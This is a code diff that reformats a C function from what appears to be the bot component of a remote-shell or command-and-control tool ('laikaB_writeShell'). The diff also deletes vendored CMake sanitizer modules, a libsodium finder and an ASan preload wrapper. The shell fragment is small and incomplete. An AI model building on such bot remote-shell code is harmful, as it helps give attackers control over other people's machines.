@@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
DWORD nWritten;
nLeft = length;
while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
return false;

View File

@@ -1,60 +0,0 @@
# The MIT License (MIT)
#
# Copyright (c)
# 2013 Matthew Arsenault
# 2015-2016 RWTH Aachen University, Federal Republic of Germany
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
option(SANITIZE_ADDRESS "Enable AddressSanitizer for sanitized targets." Off)
set(FLAG_CANDIDATES
# Clang 3.2+ use this version. The no-omit-frame-pointer option is optional.
"-g -fsanitize=address -fno-omit-frame-pointer"
"-g -fsanitize=address"
# Older deprecated flag for ASan
"-g -faddress-sanitizer"
)
if (SANITIZE_ADDRESS AND (SANITIZE_THREAD OR SANITIZE_MEMORY))
message(FATAL_ERROR "AddressSanitizer is not compatible with "
"ThreadSanitizer or MemorySanitizer.")
endif ()
include(sanitize-helpers)
if (SANITIZE_ADDRESS)
sanitizer_check_compiler_flags("${FLAG_CANDIDATES}" "AddressSanitizer"
"ASan")
find_program(ASan_WRAPPER "asan-wrapper" PATHS ${CMAKE_MODULE_PATH})
mark_as_advanced(ASan_WRAPPER)
endif ()
function (add_sanitize_address TARGET)
if (NOT SANITIZE_ADDRESS)
return()
endif ()
message(STATUS "Adding ASAN for " ${TARGET} "")
sanitizer_add_flags(${TARGET} "AddressSanitizer" "ASan")
endfunction ()

View File

@@ -1,57 +0,0 @@
# The MIT License (MIT)
#
# Copyright (c)
# 2013 Matthew Arsenault
# 2015-2016 RWTH Aachen University, Federal Republic of Germany
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
option(SANITIZE_MEMORY "Enable MemorySanitizer for sanitized targets." Off)
set(FLAG_CANDIDATES
"-g -fsanitize=memory"
)
include(sanitize-helpers)
if (SANITIZE_MEMORY)
if (NOT ${CMAKE_SYSTEM_NAME} STREQUAL "Linux")
message(WARNING "MemorySanitizer disabled for target ${TARGET} because "
"MemorySanitizer is supported for Linux systems only.")
set(SANITIZE_MEMORY Off CACHE BOOL
"Enable MemorySanitizer for sanitized targets." FORCE)
elseif (NOT ${CMAKE_SIZEOF_VOID_P} EQUAL 8)
message(WARNING "MemorySanitizer disabled for target ${TARGET} because "
"MemorySanitizer is supported for 64bit systems only.")
set(SANITIZE_MEMORY Off CACHE BOOL
"Enable MemorySanitizer for sanitized targets." FORCE)
else ()
sanitizer_check_compiler_flags("${FLAG_CANDIDATES}" "MemorySanitizer"
"MSan")
endif ()
endif ()
function (add_sanitize_memory TARGET)
if (NOT SANITIZE_MEMORY)
return()
endif ()
sanitizer_add_flags(${TARGET} "MemorySanitizer" "MSan")
endfunction ()

View File

@@ -1,94 +0,0 @@
# The MIT License (MIT)
#
# Copyright (c)
# 2013 Matthew Arsenault
# 2015-2016 RWTH Aachen University, Federal Republic of Germany
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# If any of the used compiler is a GNU compiler, add a second option to static
# link against the sanitizers.
option(SANITIZE_LINK_STATIC "Try to link static against sanitizers." Off)
set(FIND_QUIETLY_FLAG "")
if (DEFINED Sanitizers_FIND_QUIETLY)
set(FIND_QUIETLY_FLAG "QUIET")
endif ()
find_package(ASan ${FIND_QUIETLY_FLAG})
find_package(TSan ${FIND_QUIETLY_FLAG})
find_package(MSan ${FIND_QUIETLY_FLAG})
find_package(UBSan ${FIND_QUIETLY_FLAG})
function(sanitizer_add_blacklist_file FILE)
if(NOT IS_ABSOLUTE ${FILE})
set(FILE "${CMAKE_CURRENT_SOURCE_DIR}/${FILE}")
endif()
get_filename_component(FILE "${FILE}" REALPATH)
sanitizer_check_compiler_flags("-fsanitize-blacklist=${FILE}"
"SanitizerBlacklist" "SanBlist")
endfunction()
function(add_sanitizers ...)
# If no sanitizer is enabled, return immediately.
if (NOT (SANITIZE_ADDRESS OR SANITIZE_MEMORY OR SANITIZE_THREAD OR
SANITIZE_UNDEFINED))
return()
endif ()
foreach (TARGET ${ARGV})
# Check if this target will be compiled by exactly one compiler. Other-
# wise sanitizers can't be used and a warning should be printed once.
get_target_property(TARGET_TYPE ${TARGET} TYPE)
if (TARGET_TYPE STREQUAL "INTERFACE_LIBRARY")
message(WARNING "Can't use any sanitizers for target ${TARGET}, "
"because it is an interface library and cannot be "
"compiled directly.")
return()
endif ()
sanitizer_target_compilers(${TARGET} TARGET_COMPILER)
list(LENGTH TARGET_COMPILER NUM_COMPILERS)
if (NUM_COMPILERS GREATER 1)
message(WARNING "Can't use any sanitizers for target ${TARGET}, "
"because it will be compiled by incompatible compilers. "
"Target will be compiled without sanitizers.")
return()
# If the target is compiled by no or no known compiler, give a warning.
elseif (NUM_COMPILERS EQUAL 0)
message(WARNING "Sanitizers for target ${TARGET} may not be"
" usable, because it uses no or an unknown compiler. "
"This is a false warning for targets using only "
"object lib(s) as input.")
endif ()
# Add sanitizers for target.
add_sanitize_address(${TARGET})
add_sanitize_thread(${TARGET})
add_sanitize_memory(${TARGET})
add_sanitize_undefined(${TARGET})
endforeach ()
endfunction(add_sanitizers)

View File

@@ -1,297 +0,0 @@
# Written in 2016 by Henrik Steffen Gaßmann <henrik@gassmann.onl>
#
# To the extent possible under law, the author(s) have dedicated all
# copyright and related and neighboring rights to this software to the
# public domain worldwide. This software is distributed without any warranty.
#
# You should have received a copy of the CC0 Public Domain Dedication
# along with this software. If not, see
#
# http://creativecommons.org/publicdomain/zero/1.0/
#
########################################################################
# Tries to find the local libsodium installation.
#
# On Windows the sodium_DIR environment variable is used as a default
# hint which can be overridden by setting the corresponding cmake variable.
#
# Once done the following variables will be defined:
#
# sodium_FOUND
# sodium_INCLUDE_DIR
# sodium_LIBRARY_DEBUG
# sodium_LIBRARY_RELEASE
#
#
# Furthermore an imported "sodium" target is created.
#
if (CMAKE_C_COMPILER_ID STREQUAL "GNU"
OR CMAKE_C_COMPILER_ID STREQUAL "Clang")
set(_GCC_COMPATIBLE 1)
endif()
# static library option
if (NOT DEFINED sodium_USE_STATIC_LIBS)
option(sodium_USE_STATIC_LIBS "enable to statically link against sodium" OFF)
endif()
if(NOT (sodium_USE_STATIC_LIBS EQUAL sodium_USE_STATIC_LIBS_LAST))
unset(sodium_LIBRARY CACHE)
unset(sodium_LIBRARY_DEBUG CACHE)
unset(sodium_LIBRARY_RELEASE CACHE)
unset(sodium_DLL_DEBUG CACHE)
unset(sodium_DLL_RELEASE CACHE)
set(sodium_USE_STATIC_LIBS_LAST ${sodium_USE_STATIC_LIBS} CACHE INTERNAL "internal change tracking variable")
endif()
########################################################################
# UNIX
if (UNIX)
# import pkg-config
find_package(PkgConfig QUIET)
if (PKG_CONFIG_FOUND)
pkg_check_modules(sodium_PKG QUIET libsodium)
endif()
if(sodium_USE_STATIC_LIBS)
foreach(_libname ${sodium_PKG_STATIC_LIBRARIES})
if (NOT _libname MATCHES "^lib.*\\.a$") # ignore strings already ending with .a
list(INSERT sodium_PKG_STATIC_LIBRARIES 0 "lib${_libname}.a")
endif()
endforeach()
list(REMOVE_DUPLICATES sodium_PKG_STATIC_LIBRARIES)
# if pkgconfig for libsodium doesn't provide
# static lib info, then override PKG_STATIC here..
if (NOT sodium_PKG_STATIC_FOUND)
set(sodium_PKG_STATIC_LIBRARIES libsodium.a)
endif()
set(XPREFIX sodium_PKG_STATIC)
else()
if (NOT sodium_PKG_FOUND)
set(sodium_PKG_LIBRARIES sodium)
endif()
set(XPREFIX sodium_PKG)
endif()
find_path(sodium_INCLUDE_DIR sodium.h
HINTS ${${XPREFIX}_INCLUDE_DIRS}
)
find_library(sodium_LIBRARY_DEBUG NAMES ${${XPREFIX}_LIBRARIES}
HINTS ${${XPREFIX}_LIBRARY_DIRS}
)
find_library(sodium_LIBRARY_RELEASE NAMES ${${XPREFIX}_LIBRARIES}
HINTS ${${XPREFIX}_LIBRARY_DIRS}
)
########################################################################
# Windows
elseif (WIN32)
set(sodium_DIR "$ENV{sodium_DIR}" CACHE FILEPATH "sodium install directory")
mark_as_advanced(sodium_DIR)
find_path(sodium_INCLUDE_DIR sodium.h
HINTS ${sodium_DIR}
PATH_SUFFIXES include
)
if (MSVC)
# detect target architecture
file(WRITE "${CMAKE_CURRENT_BINARY_DIR}/arch.cpp" [=[
#if defined _M_IX86
#error ARCH_VALUE x86_32
#elif defined _M_X64
#error ARCH_VALUE x86_64
#endif
#error ARCH_VALUE unknown
]=])
try_compile(_UNUSED_VAR "${CMAKE_CURRENT_BINARY_DIR}" "${CMAKE_CURRENT_BINARY_DIR}/arch.cpp"
OUTPUT_VARIABLE _COMPILATION_LOG
)
string(REGEX REPLACE ".*ARCH_VALUE ([a-zA-Z0-9_]+).*" "\\1" _TARGET_ARCH "${_COMPILATION_LOG}")
# construct library path
if (_TARGET_ARCH STREQUAL "x86_32")
string(APPEND _PLATFORM_PATH "Win32")
elseif(_TARGET_ARCH STREQUAL "x86_64")
string(APPEND _PLATFORM_PATH "x64")
else()
message(FATAL_ERROR "the ${_TARGET_ARCH} architecture is not supported by Findsodium.cmake.")
endif()
string(APPEND _PLATFORM_PATH "/$$CONFIG$$")
if (MSVC_VERSION LESS 1900)
math(EXPR _VS_VERSION "${MSVC_VERSION} / 10 - 60")
else()
math(EXPR _VS_VERSION "${MSVC_VERSION} / 10 - 50")
endif()
string(APPEND _PLATFORM_PATH "/v${_VS_VERSION}")
if (sodium_USE_STATIC_LIBS)
string(APPEND _PLATFORM_PATH "/static")
else()
string(APPEND _PLATFORM_PATH "/dynamic")
endif()
string(REPLACE "$$CONFIG$$" "Debug" _DEBUG_PATH_SUFFIX "${_PLATFORM_PATH}")
string(REPLACE "$$CONFIG$$" "Release" _RELEASE_PATH_SUFFIX "${_PLATFORM_PATH}")
find_library(sodium_LIBRARY_DEBUG libsodium.lib
HINTS ${sodium_DIR}
PATH_SUFFIXES ${_DEBUG_PATH_SUFFIX}
)
find_library(sodium_LIBRARY_RELEASE libsodium.lib
HINTS ${sodium_DIR}
PATH_SUFFIXES ${_RELEASE_PATH_SUFFIX}
)
if (NOT sodium_USE_STATIC_LIBS)
set(CMAKE_FIND_LIBRARY_SUFFIXES_BCK ${CMAKE_FIND_LIBRARY_SUFFIXES})
set(CMAKE_FIND_LIBRARY_SUFFIXES ".dll")
find_library(sodium_DLL_DEBUG libsodium
HINTS ${sodium_DIR}
PATH_SUFFIXES ${_DEBUG_PATH_SUFFIX}
)
find_library(sodium_DLL_RELEASE libsodium
HINTS ${sodium_DIR}
PATH_SUFFIXES ${_RELEASE_PATH_SUFFIX}
)
set(CMAKE_FIND_LIBRARY_SUFFIXES ${CMAKE_FIND_LIBRARY_SUFFIXES_BCK})
endif()
elseif(_GCC_COMPATIBLE)
if (sodium_USE_STATIC_LIBS)
find_library(sodium_LIBRARY_DEBUG libsodium.a
HINTS ${sodium_DIR}
PATH_SUFFIXES lib
)
find_library(sodium_LIBRARY_RELEASE libsodium.a
HINTS ${sodium_DIR}
PATH_SUFFIXES lib
)
else()
find_library(sodium_LIBRARY_DEBUG libsodium.dll.a
HINTS ${sodium_DIR}
PATH_SUFFIXES lib
)
find_library(sodium_LIBRARY_RELEASE libsodium.dll.a
HINTS ${sodium_DIR}
PATH_SUFFIXES lib
)
file(GLOB _DLL
LIST_DIRECTORIES false
RELATIVE "${sodium_DIR}/bin"
"${sodium_DIR}/bin/libsodium*.dll"
)
find_library(sodium_DLL_DEBUG ${_DLL} libsodium
HINTS ${sodium_DIR}
PATH_SUFFIXES bin
)
find_library(sodium_DLL_RELEASE ${_DLL} libsodium
HINTS ${sodium_DIR}
PATH_SUFFIXES bin
)
endif()
else()
message(FATAL_ERROR "this platform is not supported by FindSodium.cmake")
endif()
########################################################################
# unsupported
else()
message(FATAL_ERROR "this platform is not supported by FindSodium.cmake")
endif()
########################################################################
# common stuff
# extract sodium version
if (sodium_INCLUDE_DIR)
set(_VERSION_HEADER "${_INCLUDE_DIR}/sodium/version.h")
if (EXISTS _VERSION_HEADER)
file(READ "${_VERSION_HEADER}" _VERSION_HEADER_CONTENT)
string(REGEX REPLACE ".*#[ \t]*define[ \t]*SODIUM_VERSION_STRING[ \t]*\"([^\n]*)\".*" "\\1"
sodium_VERSION "${_VERSION_HEADER_CONTENT}")
set(sodium_VERSION "${sodium_VERSION}" PARENT_SCOPE)
endif()
endif()
# communicate results
include(FindPackageHandleStandardArgs)
find_package_handle_standard_args(
Sodium # The name must be either uppercase or match the filename case.
REQUIRED_VARS
sodium_LIBRARY_RELEASE
sodium_LIBRARY_DEBUG
sodium_INCLUDE_DIR
VERSION_VAR
sodium_VERSION
)
if(Sodium_FOUND)
set(sodium_LIBRARIES
optimized ${sodium_LIBRARY_RELEASE} debug ${sodium_LIBRARY_DEBUG})
endif()
# mark file paths as advanced
mark_as_advanced(sodium_INCLUDE_DIR)
mark_as_advanced(sodium_LIBRARY_DEBUG)
mark_as_advanced(sodium_LIBRARY_RELEASE)
if (WIN32)
mark_as_advanced(sodium_DLL_DEBUG)
mark_as_advanced(sodium_DLL_RELEASE)
endif()
# create imported target
if(sodium_USE_STATIC_LIBS)
set(_LIB_TYPE STATIC)
else()
set(_LIB_TYPE SHARED)
endif()
if(NOT TARGET sodium)
add_library(sodium ${_LIB_TYPE} IMPORTED)
endif()
set_target_properties(sodium PROPERTIES
INTERFACE_INCLUDE_DIRECTORIES "${sodium_INCLUDE_DIR}"
IMPORTED_LINK_INTERFACE_LANGUAGES "C"
)
if (sodium_USE_STATIC_LIBS)
set_target_properties(sodium PROPERTIES
INTERFACE_COMPILE_DEFINITIONS "SODIUM_STATIC"
IMPORTED_LOCATION "${sodium_LIBRARY_RELEASE}"
IMPORTED_LOCATION_DEBUG "${sodium_LIBRARY_DEBUG}"
)
else()
if (UNIX)
set_target_properties(sodium PROPERTIES
IMPORTED_LOCATION "${sodium_LIBRARY_RELEASE}"
IMPORTED_LOCATION_DEBUG "${sodium_LIBRARY_DEBUG}"
)
elseif (WIN32)
set_target_properties(sodium PROPERTIES
IMPORTED_IMPLIB "${sodium_LIBRARY_RELEASE}"
IMPORTED_IMPLIB_DEBUG "${sodium_LIBRARY_DEBUG}"
)
if (NOT (sodium_DLL_DEBUG MATCHES ".*-NOTFOUND"))
set_target_properties(sodium PROPERTIES
IMPORTED_LOCATION_DEBUG "${sodium_DLL_DEBUG}"
)
endif()
if (NOT (sodium_DLL_RELEASE MATCHES ".*-NOTFOUND"))
set_target_properties(sodium PROPERTIES
IMPORTED_LOCATION_RELWITHDEBINFO "${sodium_DLL_RELEASE}"
IMPORTED_LOCATION_MINSIZEREL "${sodium_DLL_RELEASE}"
IMPORTED_LOCATION_RELEASE "${sodium_DLL_RELEASE}"
)
endif()
endif()
endif()

View File

@@ -1,65 +0,0 @@
# The MIT License (MIT)
#
# Copyright (c)
# 2013 Matthew Arsenault
# 2015-2016 RWTH Aachen University, Federal Republic of Germany
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
option(SANITIZE_THREAD "Enable ThreadSanitizer for sanitized targets." Off)
set(FLAG_CANDIDATES
"-g -fsanitize=thread"
)
# ThreadSanitizer is not compatible with MemorySanitizer.
if (SANITIZE_THREAD AND SANITIZE_MEMORY)
message(FATAL_ERROR "ThreadSanitizer is not compatible with "
"MemorySanitizer.")
endif ()
include(sanitize-helpers)
if (SANITIZE_THREAD)
if (NOT ${CMAKE_SYSTEM_NAME} STREQUAL "Linux" AND
NOT ${CMAKE_SYSTEM_NAME} STREQUAL "Darwin")
message(WARNING "ThreadSanitizer disabled for target ${TARGET} because "
"ThreadSanitizer is supported for Linux systems and macOS only.")
set(SANITIZE_THREAD Off CACHE BOOL
"Enable ThreadSanitizer for sanitized targets." FORCE)
elseif (NOT ${CMAKE_SIZEOF_VOID_P} EQUAL 8)
message(WARNING "ThreadSanitizer disabled for target ${TARGET} because "
"ThreadSanitizer is supported for 64bit systems only.")
set(SANITIZE_THREAD Off CACHE BOOL
"Enable ThreadSanitizer for sanitized targets." FORCE)
else ()
sanitizer_check_compiler_flags("${FLAG_CANDIDATES}" "ThreadSanitizer"
"TSan")
endif ()
endif ()
function (add_sanitize_thread TARGET)
if (NOT SANITIZE_THREAD)
return()
endif ()
sanitizer_add_flags(${TARGET} "ThreadSanitizer" "TSan")
endfunction ()

View File

@@ -1,46 +0,0 @@
# The MIT License (MIT)
#
# Copyright (c)
# 2013 Matthew Arsenault
# 2015-2016 RWTH Aachen University, Federal Republic of Germany
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
option(SANITIZE_UNDEFINED
"Enable UndefinedBehaviorSanitizer for sanitized targets." Off)
set(FLAG_CANDIDATES
"-g -fsanitize=undefined"
)
include(sanitize-helpers)
if (SANITIZE_UNDEFINED)
sanitizer_check_compiler_flags("${FLAG_CANDIDATES}"
"UndefinedBehaviorSanitizer" "UBSan")
endif ()
function (add_sanitize_undefined TARGET)
if (NOT SANITIZE_UNDEFINED)
return()
endif ()
sanitizer_add_flags(${TARGET} "UndefinedBehaviorSanitizer" "UBSan")
endfunction ()

View File

@@ -1,55 +0,0 @@
#!/bin/sh
# The MIT License (MIT)
#
# Copyright (c)
# 2013 Matthew Arsenault
# 2015-2016 RWTH Aachen University, Federal Republic of Germany
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# This script is a wrapper for AddressSanitizer. In some special cases you need
# to preload AddressSanitizer to avoid error messages - e.g. if you're
# preloading another library to your application. At the moment this script will
# only do something, if we're running on a Linux platform. OSX might not be
# affected.
# Exit immediately, if platform is not Linux.
if [ "$(uname)" != "Linux" ]
then
exec $@
fi
# Get the used libasan of the application ($1). If a libasan was found, it will
# be prepended to LD_PRELOAD.
libasan=$(ldd $1 | grep libasan | sed "s/^[[:space:]]//" | cut -d' ' -f1)
if [ -n "$libasan" ]
then
if [ -n "$LD_PRELOAD" ]
then
export LD_PRELOAD="$libasan:$LD_PRELOAD"
else
export LD_PRELOAD="$libasan"
fi
fi
# Execute the application.
exec $@

View File

@@ -1,177 +0,0 @@
# The MIT License (MIT)
#
# Copyright (c)
# 2013 Matthew Arsenault
# 2015-2016 RWTH Aachen University, Federal Republic of Germany
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# Helper function to get the language of a source file.
function (sanitizer_lang_of_source FILE RETURN_VAR)
get_filename_component(LONGEST_EXT "${FILE}" EXT)
# If extension is empty return. This can happen for extensionless headers
if("${LONGEST_EXT}" STREQUAL "")
set(${RETURN_VAR} "" PARENT_SCOPE)
return()
endif()
# Get shortest extension as some files can have dot in their names
string(REGEX REPLACE "^.*(\\.[^.]+)$" "\\1" FILE_EXT ${LONGEST_EXT})
string(TOLOWER "${FILE_EXT}" FILE_EXT)
string(SUBSTRING "${FILE_EXT}" 1 -1 FILE_EXT)
get_property(ENABLED_LANGUAGES GLOBAL PROPERTY ENABLED_LANGUAGES)
foreach (LANG ${ENABLED_LANGUAGES})
list(FIND CMAKE_${LANG}_SOURCE_FILE_EXTENSIONS "${FILE_EXT}" TEMP)
if (NOT ${TEMP} EQUAL -1)
set(${RETURN_VAR} "${LANG}" PARENT_SCOPE)
return()
endif ()
endforeach()
set(${RETURN_VAR} "" PARENT_SCOPE)
endfunction ()
# Helper function to get compilers used by a target.
function (sanitizer_target_compilers TARGET RETURN_VAR)
# Check if all sources for target use the same compiler. If a target uses
# e.g. C and Fortran mixed and uses different compilers (e.g. clang and
# gfortran) this can trigger huge problems, because different compilers may
# use different implementations for sanitizers.
set(BUFFER "")
get_target_property(TSOURCES ${TARGET} SOURCES)
foreach (FILE ${TSOURCES})
# If expression was found, FILE is a generator-expression for an object
# library. Object libraries will be ignored.
string(REGEX MATCH "TARGET_OBJECTS:([^ >]+)" _file ${FILE})
if ("${_file}" STREQUAL "")
sanitizer_lang_of_source(${FILE} LANG)
if (LANG)
list(APPEND BUFFER ${CMAKE_${LANG}_COMPILER_ID})
endif ()
endif ()
endforeach ()
list(REMOVE_DUPLICATES BUFFER)
set(${RETURN_VAR} "${BUFFER}" PARENT_SCOPE)
endfunction ()
# Helper function to check compiler flags for language compiler.
function (sanitizer_check_compiler_flag FLAG LANG VARIABLE)
if (${LANG} STREQUAL "C")
include(CheckCCompilerFlag)
check_c_compiler_flag("${FLAG}" ${VARIABLE})
elseif (${LANG} STREQUAL "CXX")
include(CheckCXXCompilerFlag)
check_cxx_compiler_flag("${FLAG}" ${VARIABLE})
elseif (${LANG} STREQUAL "Fortran")
# CheckFortranCompilerFlag was introduced in CMake 3.x. To be compatible
# with older Cmake versions, we will check if this module is present
# before we use it. Otherwise we will define Fortran coverage support as
# not available.
include(CheckFortranCompilerFlag OPTIONAL RESULT_VARIABLE INCLUDED)
if (INCLUDED)
check_fortran_compiler_flag("${FLAG}" ${VARIABLE})
elseif (NOT CMAKE_REQUIRED_QUIET)
message(STATUS "Performing Test ${VARIABLE}")
message(STATUS "Performing Test ${VARIABLE}"
" - Failed (Check not supported)")
endif ()
endif()
endfunction ()
# Helper function to test compiler flags.
function (sanitizer_check_compiler_flags FLAG_CANDIDATES NAME PREFIX)
set(CMAKE_REQUIRED_QUIET ${${PREFIX}_FIND_QUIETLY})
get_property(ENABLED_LANGUAGES GLOBAL PROPERTY ENABLED_LANGUAGES)
foreach (LANG ${ENABLED_LANGUAGES})
# Sanitizer flags are not dependend on language, but the used compiler.
# So instead of searching flags foreach language, search flags foreach
# compiler used.
set(COMPILER ${CMAKE_${LANG}_COMPILER_ID})
if (NOT DEFINED ${PREFIX}_${COMPILER}_FLAGS)
foreach (FLAG ${FLAG_CANDIDATES})
if(NOT CMAKE_REQUIRED_QUIET)
message(STATUS "Try ${COMPILER} ${NAME} flag = [${FLAG}]")
endif()
set(CMAKE_REQUIRED_FLAGS "${FLAG}")
unset(${PREFIX}_FLAG_DETECTED CACHE)
sanitizer_check_compiler_flag("${FLAG}" ${LANG}
${PREFIX}_FLAG_DETECTED)
if (${PREFIX}_FLAG_DETECTED)
# If compiler is a GNU compiler, search for static flag, if
# SANITIZE_LINK_STATIC is enabled.
if (SANITIZE_LINK_STATIC AND (${COMPILER} STREQUAL "GNU"))
string(TOLOWER ${PREFIX} PREFIX_lower)
sanitizer_check_compiler_flag(
"-static-lib${PREFIX_lower}" ${LANG}
${PREFIX}_STATIC_FLAG_DETECTED)
if (${PREFIX}_STATIC_FLAG_DETECTED)
set(FLAG "-static-lib${PREFIX_lower} ${FLAG}")
endif ()
endif ()
